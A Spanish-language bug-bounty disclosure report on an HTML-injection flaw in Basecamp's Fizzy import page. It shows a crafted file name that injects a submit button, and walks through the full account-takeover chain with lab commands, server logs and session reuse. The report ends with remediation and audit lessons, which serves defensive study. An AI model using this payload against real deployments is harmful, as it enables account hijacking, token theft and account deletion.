Resumen
Fizzy, la aplicación de Basecamp, tiene una página para importar datos de cuenta en /account/imports/new. Al elegir un fichero .zip, un controlador de JavaScript (app/javascript/controllers/upload_preview_controller.js) muestra como vista previa el nombre del fichero seleccionado. El fallo: ese nombre se insertaba en la página con innerHTML en lugar de textContent, de modo que el navegador lo interpretaba como HTML real en vez de mostrarlo como texto inerte.
Esto sería un detalle menor si la vista previa estuviera aislada, pero se dibuja dentro del propio formulario de importación, que ya incluye la sesión de la víctima y un token CSRF válido. El investigador aprovechó que un <button> puede llevar sus propios atributos formaction y formmethod: así, un nombre de fichero preparado añade un segundo botón de envío al formulario, un botón que manda la petición —con ese token CSRF válido— al endpoint que elija el atacante.
El investigador lo validó de punta a punta sobre un despliegue Docker de la rama main (commit 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc) y llegó a tomar el control completo de la cuenta de la víctima. Basecamp lo clasificó como severidad alta y lo marcó como resuelto; hubo recompensa, aunque el importe no es público. Se envió el 16 de marzo de 2026 y se divulgó el 14 de abril de 2026.
Pasos de reproducción
Montar el laboratorio
Compilar la revisión afectada y levantar un contenedor de captura de correo (MailHog) junto con el de la aplicación:
git clone https://github.com/basecamp/fizzy.git
cd fizzy
git fetch origin
git checkout 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc
docker build -t fizzy-main-latest .
docker run -d --name fizzy-mailhog-bridge mailhog/mailhog
docker run -d --name fizzy-ato-poc \
-e SECRET_KEY_BASE="$(openssl rand -hex 32)" \
-e DISABLE_SSL=true \
-e MULTI_TENANT=true \
-e SMTP_ADDRESS=172.17.0.6 \
-e SMTP_PORT=1025 \
-e SMTP_USERNAME=test \
-e SMTP_PASSWORD=test \
-e SMTP_AUTHENTICATION=plain \
-e BASE_URL=http://172.17.0.7:3000 \
fizzy-main-latest \
bash -lc './bin/rails db:prepare && ./bin/rails server -b 0.0.0.0 -p 3000'
El investigador sembró una identidad de buzón para el atacante y una cuenta de propietario para la víctima, e inició sesión como víctima por el flujo HTTP real (enlace mágico), conservando su cookie de sesión. En su ejecución, los identificadores de ejemplo fueron la cuenta de víctima /40002 y el usuario 03frq8zae2a7m9cari0v89xua.
Cadena completa de toma de cuenta
- Crear en local un fichero cuyo nombre inyecta un segundo botón de envío en el formulario de importación. El nombre apunta
formactional endpoint de cambio de email de la víctima y fija el nuevo correo al del atacante:
<button formaction=/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses formmethod=post name=email_address [email protected]>Take over.zip
- Como víctima con sesión iniciada, abrir
http://172.17.0.7:3000/account/imports/new.
- Seleccionar el fichero malicioso. La vista previa dibuja el botón inyectado en lugar de mostrar el nombre como texto.
- Al pulsar ese botón (
Take over.zip), el navegador de la víctima envía:
POST /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses
con la sesión autenticada real de la víctima, el token CSRF válido de la página y [email protected]. En el log del servidor se ve la petición procesada por Users::EmailAddressesController#create y el encolado del correo de confirmación:
Started POST "/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses" for 172.17.0.2
Processing by Users::EmailAddressesController#create as */*
Parameters: {"authenticity_token"=>"[REDACTADO]", "email_address"=>"[email protected]", "user_id"=>"03frq8zae2a7m9cari0v89xua"}
[ActiveJob] Enqueued ActionMailer::MailDeliveryJob ... "UserMailer", "email_change_confirmation"
- Abrir el buzón del atacante en MailHog y recoger el mensaje
Confirm your new email address, que contiene una URL de confirmación real:
Subject: Confirm your new email address
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
- Visitar esa URL y enviar el formulario de confirmación. Fizzy responde creando una sesión autenticada nueva para la víctima y entregándola al atacante:
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=[REDACTADO]; httponly; samesite=lax
- Reutilizar ese
session_tokenpara pedirGET /40002/yGET /40002/users/03frq8zae2a7m9cari0v89xua/edit: ambas devolvieron200 OK. Del lado del servidor, la identidad de la víctima quedó ligada a[email protected].
Impactos adicionales desde el mismo punto vulnerable
El investigador reprodujo, a partir del mismo primitivo, otras dos acciones autenticadas en nombre de la víctima:
- Creación de un token de acceso personal con permiso de escritura:
POST /20002/my/access_tokens. - Borrado de la cuenta:
POST /20002/account/cancellation.
Impacto
Un atacante externo entrega un .zip con nombre preparado a un propietario de Fizzy con sesión iniciada. Con un solo clic en la página de importación, el navegador de la víctima ejecuta peticiones POST autenticadas del mismo origen, usando su sesión y el token CSRF válido de la página.
El peor caso demostrado es la toma completa de la cuenta: cambiar el email de la víctima a un buzón del atacante, recibir y canjear el enlace de confirmación, obtener una sesión autenticada nueva y entrar en la cuenta como la víctima. A ello se suman la creación de un token de escritura y el borrado de la cuenta, es decir, impacto también sobre integridad y disponibilidad, todo desde una única interacción.
Remediación
El reporte figura como resuelto por Basecamp. La raíz del problema está en pintar el nombre del fichero con innerHTML: mostrarlo con textContent (o escapando el valor) hace que deje de interpretarse como HTML y el nombre vuelva a ser texto inerte, sin posibilidad de inyectar controles en el formulario.
Qué aprender de este caso
- Toda vista previa de un nombre de fichero (
input[type=file]) es entrada controlada por el usuario: revisa en el JavaScript de subida si el nombre se pinta coninnerHTML/insertAdjacentHTMLen lugar detextContent. Un nombre de fichero puede contener<y>. - Mide el peligro del sink según dónde cae: aquí el
innerHTMLera grave porque la vista previa vivía dentro de un<form>autenticado, lo que convierte un XSS en un disparador de peticiones con el CSRF ya presente en la página. - Un
<button>(o<input type=submit>) con atributosformactionyformmethodpropios puede reescribir el destino y el método del formulario que lo contiene: al auditar un formulario sensible, comprueba que ningún contenido dinámico pueda introducir controles de envío adicionales. - Un cambio de email que entrega una sesión válida tras confirmar desde el buzón nuevo convierte "cambiar el correo" en "tomar la cuenta": en flujos de cambio de email conviene exigir reautenticación o la contraseña actual antes de aceptar la nueva dirección.